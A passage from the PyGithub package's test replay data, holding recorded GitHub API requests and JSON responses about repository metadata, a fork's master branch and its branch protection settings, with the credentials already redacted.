:"lgpl-3.0","name":"GNU Lesser General Public License v3.0","spdx_id":"LGPL-3.0","url":"https://api.github.com/licenses/lgpl-3.0","node_id":"MDc6TGljZW5zZTEy"},"allow_forking":true,"is_template":false,"web_commit_signoff_required":false,"topics":[],"visibility":"public","forks":0,"open_issues":0,"watchers":0,"default_branch":"master","permissions":{"admin":true,"maintain":true,"push":true,"triage":true,"pull":true},"temp_clone_token":"","allow_squash_merge":true,"allow_merge_commit":true,"allow_rebase_merge":true,"allow_auto_merge":false,"delete_branch_on_merge":false,"allow_update_branch":false,"use_squash_pr_title_as_default":false,"squash_merge_commit_message":"COMMIT_MESSAGES","squash_merge_commit_title":"COMMIT_OR_PR_TITLE","merge_commit_message":"PR_TITLE","merge_commit_title":"MERGE_MESSAGE","organization":{"login":"curvewise-forks","id":72516939,"node_id":"MDEyOk9yZ2FuaXphdGlvbjcyNTE2OTM5","avatar_url":"https://avatars.githubusercontent.com/u/72516939?v=4","gravatar_id":"","url":"https://api.github.com/users/curvewise-forks","html_url":"https://github.com/curvewise-forks","followers_url":"https://api.github.com/users/curvewise-forks/followers","following_url":"https://api.github.com/users/curvewise-forks/following{/other_user}","gists_url":"https://api.github.com/users/curvewise-forks/gists{/gist_id}","starred_url":"https://api.github.com/users/curvewise-forks/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/curvewise-forks/subscriptions","organizations_url":"https://api.github.com/users/curvewise-forks/orgs","repos_url":"https://api.github.com/users/curvewise-forks/repos","events_url":"https://api.github.com/users/curvewise-forks/events{/privacy}","received_events_url":"https://api.github.com/users/curvewise-forks/received_events","type":"Organization","site_admin":false},"parent":{"id":3544490,"node_id":"MDEwOlJlcG9zaXRvcnkzNTQ0NDkw","name":"PyGithub","full_name":"PyGithub/PyGithub","private":false,"owner":{"login":"PyGithub","id":11288996,"node_id":"MDEyOk9yZ2FuaXphdGlvbjExMjg4OTk2","avatar_url":"https://avatars.githubusercontent.com/u/11288996?v=4","gravatar_id":"","url":"https://api.github.com/users/PyGithub","html_url":"https://github.com/PyGithub","followers_url":"https://api.github.com/users/PyGithub/followers","following_url":"https://api.github.com/users/PyGithub/following{/other_user}","gists_url":"https://api.github.com/users/PyGithub/gists{/gist_id}","starred_url":"https://api.github.com/users/PyGithub/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/PyGithub/subscriptions","organizations_url":"https://api.github.com/users/PyGithub/orgs","repos_url":"https://api.github.com/users/PyGithub/repos","events_url":"https://api.github.com/users/PyGithub/events{/privacy}","received_events_url":"https://api.github.com/users/PyGithub/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/PyGithub/PyGithub","description":"Typed interactions with the GitHub API v3","fork":false,"url":"https://api.github.com/repos/PyGithub/PyGithub","forks_url":"https://api.github.com/repos/PyGithub/PyGithub/forks","keys_url":"https://api.github.com/repos/PyGithub/PyGithub/keys{/key_id}","collaborators_url":"https://api.github.com/repos/PyGithub/PyGithub/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/PyGithub/PyGithub/teams","hooks_url":"https://api.github.com/repos/PyGithub/PyGithub/hooks","issue_events_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/events{/number}","events_url":"https://api.github.com/repos/PyGithub/PyGithub/events","assignees_url":"https://api.github.com/repos/PyGithub/PyGithub/assignees{/user}","branches_url":"https://api.github.com/repos/PyGithub/PyGithub/branches{/branch}","tags_url":"https://api.github.com/repos/PyGithub/PyGithub/tags","blobs_url":"https://api.github.com/repos/PyGithub/PyGithub/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/PyGithub/PyGithub/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/PyGithub/PyGithub/git/refs{/sha}","trees_url":"https://api.github.com/repos/PyGithub/PyGithub/git/trees{/sha}","statuses_url":"https://api.github.com/repos/PyGithub/PyGithub/statuses/{sha}","languages_url":"https://api.github.com/repos/PyGithub/PyGithub/languages","stargazers_url":"https://api.github.com/repos/PyGithub/PyGithub/stargazers","contributors_url":"https://api.github.com/repos/PyGithub/PyGithub/contributors","subscribers_url":"https://api.github.com/repos/PyGithub/PyGithub/subscribers","subscription_url":"https://api.github.com/repos/PyGithub/PyGithub/subscription","commits_url":"https://api.github.com/repos/PyGithub/PyGithub/commits{/sha}","git_commits_url":"https://api.github.com/repos/PyGithub/PyGithub/git/commits{/sha}","comments_url":"https://api.github.com/repos/PyGithub/PyGithub/comments{/number}","issue_comment_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/comments{/number}","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/{+path}","compare_url":"https://api.github.com/repos/PyGithub/PyGithub/compare/{base}...{head}","merges_url":"https://api.github.com/repos/PyGithub/PyGithub/merges","archive_url":"https://api.github.com/repos/PyGithub/PyGithub/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/PyGithub/PyGithub/downloads","issues_url":"https://api.github.com/repos/PyGithub/PyGithub/issues{/number}","pulls_url":"https://api.github.com/repos/PyGithub/PyGithub/pulls{/number}","milestones_url":"https://api.github.com/repos/PyGithub/PyGithub/milestones{/number}","notifications_url":"https://api.github.com/repos/PyGithub/PyGithub/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/PyGithub/PyGithub/labels{/name}","releases_url":"https://api.github.com/repos/PyGithub/PyGithub/releases{/id}","deployments_url":"https://api.github.com/repos/PyGithub/PyGithub/deployments","created_at":"2012-02-25T12:53:47Z","updated_at":"2023-06-08T20:29:20Z","pushed_at":"2023-06-09T13:46:47Z","git_url":"git://github.com/PyGithub/PyGithub.git","ssh_url":"git@github.com:PyGithub/PyGithub.git","clone_url":"https://github.com/PyGithub/PyGithub.git","svn_url":"https://github.com/PyGithub/PyGithub","homepage":"https://pygithub.readthedocs.io/","size":13939,"stargazers_count":6054,"watchers_count":6054,"language":"Python","has_issues":true,"has_projects":true,"has_downloads":true,"has_wiki":false,"has_pages":false,"has_discussions":true,"forks_count":1637,"mirror_url":null,"archived":false,"disabled":false,"open_issues_count":255,"license":{"key":"lgpl-3.0","name":"GNU Lesser General Public License v3.0","spdx_id":"LGPL-3.0","url":"https://api.github.com/licenses/lgpl-3.0","node_id":"MDc6TGljZW5zZTEy"},"allow_forking":true,"is_template":false,"web_commit_signoff_required":false,"topics":["github","github-api","pygithub","python"],"visibility":"public","forks":1637,"open_issues":255,"watchers":6054,"default_branch":"master"},"source":{"id":3544490,"node_id":"MDEwOlJlcG9zaXRvcnkzNTQ0NDkw","name":"PyGithub","full_name":"PyGithub/PyGithub","private":false,"owner":{"login":"PyGithub","id":11288996,"node_id":"MDEyOk9yZ2FuaXphdGlvbjExMjg4OTk2","avatar_url":"https://avatars.githubusercontent.com/u/11288996?v=4","gravatar_id":"","url":"https://api.github.com/users/PyGithub","html_url":"https://github.com/PyGithub","followers_url":"https://api.github.com/users/PyGithub/followers","following_url":"https://api.github.com/users/PyGithub/following{/other_user}","gists_url":"https://api.github.com/users/PyGithub/gists{/gist_id}","starred_url":"https://api.github.com/users/PyGithub/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/PyGithub/subscriptions","organizations_url":"https://api.github.com/users/PyGithub/orgs","repos_url":"https://api.github.com/users/PyGithub/repos","events_url":"https://api.github.com/users/PyGithub/events{/privacy}","received_events_url":"https://api.github.com/users/PyGithub/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/PyGithub/PyGithub","description":"Typed interactions with the GitHub API v3","fork":false,"url":"https://api.github.com/repos/PyGithub/PyGithub","forks_url":"https://api.github.com/repos/PyGithub/PyGithub/forks","keys_url":"https://api.github.com/repos/PyGithub/PyGithub/keys{/key_id}","collaborators_url":"https://api.github.com/repos/PyGithub/PyGithub/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/PyGithub/PyGithub/teams","hooks_url":"https://api.github.com/repos/PyGithub/PyGithub/hooks","issue_events_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/events{/number}","events_url":"https://api.github.com/repos/PyGithub/PyGithub/events","assignees_url":"https://api.github.com/repos/PyGithub/PyGithub/assignees{/user}","branches_url":"https://api.github.com/repos/PyGithub/PyGithub/branches{/branch}","tags_url":"https://api.github.com/repos/PyGithub/PyGithub/tags","blobs_url":"https://api.github.com/repos/PyGithub/PyGithub/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/PyGithub/PyGithub/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/PyGithub/PyGithub/git/refs{/sha}","trees_url":"https://api.github.com/repos/PyGithub/PyGithub/git/trees{/sha}","statuses_url":"https://api.github.com/repos/PyGithub/PyGithub/statuses/{sha}","languages_url":"https://api.github.com/repos/PyGithub/PyGithub/languages","stargazers_url":"https://api.github.com/repos/PyGithub/PyGithub/stargazers","contributors_url":"https://api.github.com/repos/PyGithub/PyGithub/contributors","subscribers_url":"https://api.github.com/repos/PyGithub/PyGithub/subscribers","subscription_url":"https://api.github.com/repos/PyGithub/PyGithub/subscription","commits_url":"https://api.github.com/repos/PyGithub/PyGithub/commits{/sha}","git_commits_url":"https://api.github.com/repos/PyGithub/PyGithub/git/commits{/sha}","comments_url":"https://api.github.com/repos/PyGithub/PyGithub/comments{/number}","issue_comment_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/comments{/number}","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/{+path}","compare_url":"https://api.github.com/repos/PyGithub/PyGithub/compare/{base}...{head}","merges_url":"https://api.github.com/repos/PyGithub/PyGithub/merges","archive_url":"https://api.github.com/repos/PyGithub/PyGithub/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/PyGithub/PyGithub/downloads","issues_url":"https://api.github.com/repos/PyGithub/PyGithub/issues{/number}","pulls_url":"https://api.github.com/repos/PyGithub/PyGithub/pulls{/number}","milestones_url":"https://api.github.com/repos/PyGithub/PyGithub/milestones{/number}","notifications_url":"https://api.github.com/repos/PyGithub/PyGithub/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/PyGithub/PyGithub/labels{/name}","releases_url":"https://api.github.com/repos/PyGithub/PyGithub/releases{/id}","deployments_url":"https://api.github.com/repos/PyGithub/PyGithub/deployments","created_at":"2012-02-25T12:53:47Z","updated_at":"2023-06-08T20:29:20Z","pushed_at":"2023-06-09T13:46:47Z","git_url":"git://github.com/PyGithub/PyGithub.git","ssh_url":"git@github.com:PyGithub/PyGithub.git","clone_url":"https://github.com/PyGithub/PyGithub.git","svn_url":"https://github.com/PyGithub/PyGithub","homepage":"https://pygithub.readthedocs.io/","size":13939,"stargazers_count":6054,"watchers_count":6054,"language":"Python","has_issues":true,"has_projects":true,"has_downloads":true,"has_wiki":false,"has_pages":false,"has_discussions":true,"forks_count":1637,"mirror_url":null,"archived":false,"disabled":false,"open_issues_count":255,"license":{"key":"lgpl-3.0","name":"GNU Lesser General Public License v3.0","spdx_id":"LGPL-3.0","url":"https://api.github.com/licenses/lgpl-3.0","node_id":"MDc6TGljZW5zZTEy"},"allow_forking":true,"is_template":false,"web_commit_signoff_required":false,"topics":["github","github-api","pygithub","python"],"visibility":"public","forks":1637,"open_issues":255,"watchers":6054,"default_branch":"master"},"security_and_analysis":{"secret_scanning":{"status":"disabled"},"secret_scanning_push_protection":{"status":"disabled"}},"network_count":1637,"subscribers_count":0} https GET api.github.com None /repos/curvewise-forks/PyGithub/branches/master {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('Server', 'GitHub.com'), ('Date', 'Fri, 09 Jun 2023 16:53:54 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"075a0661366a824063b2aa3c3ff62b3ac4ecd6eeefc8e1d6f6675342fe7ab0a6"'), ('X-OAuth-Scopes', 'read:org, repo'), ('X-Accepted-OAuth-Scopes', ''), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('x-github-api-version-selected', '2022-11-28'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4998'), ('X-RateLimit-Reset', '1686333233'), ('X-RateLimit-Used', '2'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'D5E2:7DDB:CF41795:1A7935E9:64835922')] {"name":"master","commit":{"sha":"a4fce2bba495bbba81543d71a7e1c9523bf34495","node_id":"C_kwDOIvAYK9oAKGE0ZmNlMmJiYTQ5NWJiYmE4MTU0M2Q3MWE3ZTFjOTUyM2JmMzQ0OTU","commit":{"author":{"name":"Paul Melnikow","email":"github@paulmelnikow.com","date":"2023-06-08T17:42:21Z"},"committer":{"name":"GitHub","email":"noreply@github.com","date":"2023-06-08T17:42:21Z"},"message":"Create pylint.yml (#1)","tree":{"sha":"5c862cb0c7ce81d72b0f7f2ee25a3b9c8caba177","url":"https://api.github.com/repos/curvewise-forks/PyGithub/git/trees/5c862cb0c7ce81d72b0f7f2ee25a3b9c8caba177"},"url":"https://api.github.com/repos/curvewise-forks/PyGithub/git/commits/a4fce2bba495bbba81543d71a7e1c9523bf34495","comment_count":0,"verification":{"verified":true,"reason":"valid","signature":"-----BEGIN PGP SIGNATURE-----\n\nwsBcBAABCAAQBQJkghL9CRBK7hj4Ov3rIwAAsTEIAHZScZ1WcJOuHujBKw850u6v\nAig6k8fbhKC12lk2zrpBrb0NL1AmujnmX2D9Ioe7geEl7pz0mwOENdMo6CmA8SQA\nZx/jr2NxguDj6Z0LY6mWQgDMVMmzxV63iUJCWsnAPwHW7lvVK6BJTdrNBtaEgq3D\n7gZPrUBAyxF/6SFivfSAMr2nTFdSrvg9jq+0DlwqYC4VxIveWbp7HVH5oKOApmYv\ndP6lnsmg3p2QwrXNret8AgBMVWw2F1i5PVcMJmstSonALb5+jPAseFUXwJefQwIQ\nvfJl7R6cviWK/o04UR1Xo4YZc8AkftHn0yQ01rfyMaOMqIODWSBjDFv2tcU0zEY=\n=ogx1\n-----END PGP SIGNATURE-----\n","payload":"tree 5c862cb0c7ce81d72b0f7f2ee25a3b9c8caba177\nparent 6c53e5442a80094025b390772d3e00a0d8443a75\nauthor Paul Melnikow 1686246141 -0400\ncommitter GitHub 1686246141 -0600\n\nCreate pylint.yml (#1)\n\n"}},"url":"https://api.github.com/repos/curvewise-forks/PyGithub/commits/a4fce2bba495bbba81543d71a7e1c9523bf34495","html_url":"https://github.com/curvewise-forks/PyGithub/commit/a4fce2bba495bbba81543d71a7e1c9523bf34495","comments_url":"https://api.github.com/repos/curvewise-forks/PyGithub/commits/a4fce2bba495bbba81543d71a7e1c9523bf34495/comments","author":{"login":"paulmelnikow","id":1487036,"node_id":"MDQ6VXNlcjE0ODcwMzY=","avatar_url":"https://avatars.githubusercontent.com/u/1487036?v=4","gravatar_id":"","url":"https://api.github.com/users/paulmelnikow","html_url":"https://github.com/paulmelnikow","followers_url":"https://api.github.com/users/paulmelnikow/followers","following_url":"https://api.github.com/users/paulmelnikow/following{/other_user}","gists_url":"https://api.github.com/users/paulmelnikow/gists{/gist_id}","starred_url":"https://api.github.com/users/paulmelnikow/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/paulmelnikow/subscriptions","organizations_url":"https://api.github.com/users/paulmelnikow/orgs","repos_url":"https://api.github.com/users/paulmelnikow/repos","events_url":"https://api.github.com/users/paulmelnikow/events{/privacy}","received_events_url":"https://api.github.com/users/paulmelnikow/received_events","type":"User","site_admin":false},"committer":{"login":"web-flow","id":19864447,"node_id":"MDQ6VXNlcjE5ODY0NDQ3","avatar_url":"https://avatars.githubusercontent.com/u/19864447?v=4","gravatar_id":"","url":"https://api.github.com/users/web-flow","html_url":"https://github.com/web-flow","followers_url":"https://api.github.com/users/web-flow/followers","following_url":"https://api.github.com/users/web-flow/following{/other_user}","gists_url":"https://api.github.com/users/web-flow/gists{/gist_id}","starred_url":"https://api.github.com/users/web-flow/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/web-flow/subscriptions","organizations_url":"https://api.github.com/users/web-flow/orgs","repos_url":"https://api.github.com/users/web-flow/repos","events_url":"https://api.github.com/users/web-flow/events{/privacy}","received_events_url":"https://api.github.com/users/web-flow/received_events","type":"User","site_admin":false},"parents":[{"sha":"6c53e5442a80094025b390772d3e00a0d8443a75","url":"https://api.github.com/repos/curvewise-forks/PyGithub/commits/6c53e5442a80094025b390772d3e00a0d8443a75","html_url":"https://github.com/curvewise-forks/PyGithub/commit/6c53e5442a80094025b390772d3e00a0d8443a75"}]},"_links":{"self":"https://api.github.com/repos/curvewise-forks/PyGithub/branches/master","html":"https://github.com/curvewise-forks/PyGithub/tree/master"},"protected":true,"protection":{"enabled":true,"required_status_checks":{"enforcement_level":"everyone","contexts":["build (3.10)"],"checks":[{"context":"build (3.10)","app_id":15368}]}},"protection_url":"https://api.github.com/repos/curvewise-forks/PyGithub/branches/master/protection"} https GET api.github.com None /repos/curvewise-forks/PyGithub/branches/master/protection {'Accept': 'application/vnd.github.luke-cage-preview+json', 'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('Server', 'GitHub.com'), ('Date', 'Fri, 09 Jun 2023 16:53:54 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"cdfb177e9c10c1c5d5b84c3667f1deb64f69634c27cfcd1c9edb937b14510276"'), ('X-OAuth-Scopes', 'read:org, repo'), ('X-Accepted-OAuth-Scopes', ''), ('X-GitHub-Media-Type', 'github.v3; param=luke-cage-preview; format=json'), ('x-github-api-version-selected', '2022-11-28'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4997'), ('X-RateLimit-Reset', '1686333233'), ('X-RateLimit-Used', '3'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'DDEA:9715:CE8BD3E:1A63C049:64835922')] {"url":"https://api.github.com/repos/curvewise-forks/PyGithub/branches/master/protection","required_status_checks":{"url":"https://api.github.com/repos/curvewise-forks/PyGithub/branches/master/protection/required_status_checks","strict":true,"contexts":["build (3.10)"],"contexts_url":"https://api.github.com/repos/curvewise-forks/PyGithub/branches/master/protection/required_status_checks/contexts","checks":[{"context":"build (3.10)","app_id":15368}]},"required_pull_request_reviews":{"url":"https://api.github.com/repos/curvewise-forks/PyGithub/branches/master/protection/required_pull_request_reviews","dismiss_stale_reviews":false,"require_code_owner_reviews":false,"require_last_push_approval":false,"required_approving_review_count":1},"required_signatures":{"url":"https://api.github.com/repos/curvewise-forks/PyGithub/branches/master/protection/required_signatures","enabled":false},"enforce_admins":{"url":"https://api.github.com/repos/curvewise-forks/PyGithub/branches/master/protection/enforce_admins","enabled":true},"required_linear_history":{"enabled":true},"allow_force_pushes":{"enabled":false},"allow_deletions":{"enabled":false},"block_creations":{"enabled":false},"required_conversation_resolution":{"enabled":false},"lock_branch":{"enabled":false},"allow_fork_syncing":{"enabled":false}} ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/CheckRun.setUp.txt0000644000175100001660000006571014756101563021531 0ustar00runnerdockerhttps GET api.github.com None /repos/PyGithub/PyGithub {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('Date', 'Fri, 03 Jan 2025 15:27:21 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP,Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"1b88c089a1e6863e1ce80f34340070e2ac596331034a24535f079d3af895faa2"'), ('Last-Modified', 'Fri, 03 Jan 2025 05:23:15 GMT'), ('X-OAuth-Scopes', 'read:discussion, repo'), ('X-Accepted-OAuth-Scopes', 'repo'), ('github-authentication-token-expiration', '2025-02-04 16:42:10 UTC'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('x-github-api-version-selected', '2022-11-28'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4984'), ('X-RateLimit-Reset', '1735920624'), ('X-RateLimit-Used', '16'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('Transfer-Encoding', 'chunked'), ('Server', 'github.com'), ('X-GitHub-Request-Id', '98BE:12E656:1D8E63BC:1E5479C0:677801D9')] {"id":3544490,"node_id":"MDEwOlJlcG9zaXRvcnkzNTQ0NDkw","name":"PyGithub","full_name":"PyGithub/PyGithub","private":false,"owner":{"login":"PyGithub","id":11288996,"node_id":"MDEyOk9yZ2FuaXphdGlvbjExMjg4OTk2","avatar_url":"https://avatars.githubusercontent.com/u/11288996?v=4","gravatar_id":"","url":"https://api.github.com/users/PyGithub","html_url":"https://github.com/PyGithub","followers_url":"https://api.github.com/users/PyGithub/followers","following_url":"https://api.github.com/users/PyGithub/following{/other_user}","gists_url":"https://api.github.com/users/PyGithub/gists{/gist_id}","starred_url":"https://api.github.com/users/PyGithub/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/PyGithub/subscriptions","organizations_url":"https://api.github.com/users/PyGithub/orgs","repos_url":"https://api.github.com/users/PyGithub/repos","events_url":"https://api.github.com/users/PyGithub/events{/privacy}","received_events_url":"https://api.github.com/users/PyGithub/received_events","type":"Organization","user_view_type":"public","site_admin":false},"html_url":"https://github.com/PyGithub/PyGithub","description":"Typed interactions with the GitHub API v3","fork":false,"url":"https://api.github.com/repos/PyGithub/PyGithub","forks_url":"https://api.github.com/repos/PyGithub/PyGithub/forks","keys_url":"https://api.github.com/repos/PyGithub/PyGithub/keys{/key_id}","collaborators_url":"https://api.github.com/repos/PyGithub/PyGithub/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/PyGithub/PyGithub/teams","hooks_url":"https://api.github.com/repos/PyGithub/PyGithub/hooks","issue_events_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/events{/number}","events_url":"https://api.github.com/repos/PyGithub/PyGithub/events","assignees_url":"https://api.github.com/repos/PyGithub/PyGithub/assignees{/user}","branches_url":"https://api.github.com/repos/PyGithub/PyGithub/branches{/branch}","tags_url":"https://api.github.com/repos/PyGithub/PyGithub/tags","blobs_url":"https://api.github.com/repos/PyGithub/PyGithub/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/PyGithub/PyGithub/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/PyGithub/PyGithub/git/refs{/sha}","trees_url":"https://api.github.com/repos/PyGithub/PyGithub/git/trees{/sha}","statuses_url":"https://api.github.com/repos/PyGithub/PyGithub/statuses/{sha}","languages_url":"https://api.github.com/repos/PyGithub/PyGithub/languages","stargazers_url":"https://api.github.com/repos/PyGithub/PyGithub/stargazers","contributors_url":"https://api.github.com/repos/PyGithub/PyGithub/contributors","subscribers_url":"https://api.github.com/repos/PyGithub/PyGithub/subscribers","subscription_url":"https://api.github.com/repos/PyGithub/PyGithub/subscription","commits_url":"https://api.github.com/repos/PyGithub/PyGithub/commits{/sha}","git_commits_url":"https://api.github.com/repos/PyGithub/PyGithub/git/commits{/sha}","comments_url":"https://api.github.com/repos/PyGithub/PyGithub/comments{/number}","issue_comment_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/comments{/number}","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/{+path}","compare_url":"https://api.github.com/repos/PyGithub/PyGithub/compare/{base}...{head}","merges_url":"https://api.github.com/repos/PyGithub/PyGithub/merges","archive_url":"https://api.github.com/repos/PyGithub/PyGithub/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/PyGithub/PyGithub/downloads","issues_url":"https://api.github.com/repos/PyGithub/PyGithub/issues{/number}","pulls_url":"https://api.github.com/repos/PyGithub/PyGithub/pulls{/number}","milestones_url":"https://api.github.com/repos/PyGithub/PyGithub/milestones{/number}","notifications_url":"https://api.github.com/repos/PyGithub/PyGithub/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/PyGithub/PyGithub/labels{/name}","releases_url":"https://api.github.com/repos/PyGithub/PyGithub/releases{/id}","deployments_url":"https://api.github.com/repos/PyGithub/PyGithub/deployments","created_at":"2012-02-25T12:53:47Z","updated_at":"2025-01-03T05:23:15Z","pushed_at":"2024-12-19T12:01:11Z","git_url":"git://github.com/PyGithub/PyGithub.git","ssh_url":"git@github.com:PyGithub/PyGithub.git","clone_url":"https://github.com/PyGithub/PyGithub.git","svn_url":"https://github.com/PyGithub/PyGithub","homepage":"https://pygithub.readthedocs.io/","size":16425,"stargazers_count":7115,"watchers_count":7115,"language":"Python","has_issues":true,"has_projects":true,"has_downloads":true,"has_wiki":false,"has_pages":false,"has_discussions":true,"forks_count":1793,"mirror_url":null,"archived":false,"disabled":false,"open_issues_count":356,"license":{"key":"lgpl-3.0","name":"GNU Lesser General Public License v3.0","spdx_id":"LGPL-3.0","url":"https://api.github.com/licenses/lgpl-3.0","node_id":"MDc6TGljZW5zZTEy"},"allow_forking":true,"is_template":false,"web_commit_signoff_required":false,"topics":["github","github-api","pygithub","python"],"visibility":"public","forks":1793,"open_issues":356,"watchers":7115,"default_branch":"main","permissions":{"admin":true,"maintain":true,"push":true,"triage":true,"pull":true},"temp_clone_token":"","allow_squash_merge":true,"allow_merge_commit":false,"allow_rebase_merge":false,"allow_auto_merge":false,"delete_branch_on_merge":true,"allow_update_branch":true,"use_squash_pr_title_as_default":true,"squash_merge_commit_message":"PR_BODY","squash_merge_commit_title":"PR_TITLE","merge_commit_message":"PR_TITLE","merge_commit_title":"MERGE_MESSAGE","custom_properties":{},"organization":{"login":"PyGithub","id":11288996,"node_id":"MDEyOk9yZ2FuaXphdGlvbjExMjg4OTk2","avatar_url":"https://avatars.githubusercontent.com/u/11288996?v=4","gravatar_id":"","url":"https://api.github.com/users/PyGithub","html_url":"https://github.com/PyGithub","followers_url":"https://api.github.com/users/PyGithub/followers","following_url":"https://api.github.com/users/PyGithub/following{/other_user}","gists_url":"https://api.github.com/users/PyGithub/gists{/gist_id}","starred_url":"https://api.github.com/users/PyGithub/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/PyGithub/subscriptions","organizations_url":"https://api.github.com/users/PyGithub/orgs","repos_url":"https://api.github.com/users/PyGithub/repos","events_url":"https://api.github.com/users/PyGithub/events{/privacy}","received_events_url":"https://api.github.com/users/PyGithub/received_events","type":"Organization","user_view_type":"public","site_admin":false},"security_and_analysis":{"secret_scanning":{"status":"disabled"},"secret_scanning_push_protection":{"status":"disabled"},"dependabot_security_updates":{"status":"enabled"},"secret_scanning_non_provider_patterns":{"status":"disabled"},"secret_scanning_validity_checks":{"status":"disabled"}},"network_count":1793,"subscribers_count":111} https GET api.github.com None /repos/dhruvmanila/pygithub-testing {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('Date', 'Fri, 03 Jan 2025 15:27:22 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP,Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"00790cbca9809e8bd0f110c8e955d6e53241fc62273d434ec75e9e7daf61e7cf"'), ('Last-Modified', 'Fri, 27 Nov 2020 19:19:41 GMT'), ('X-OAuth-Scopes', 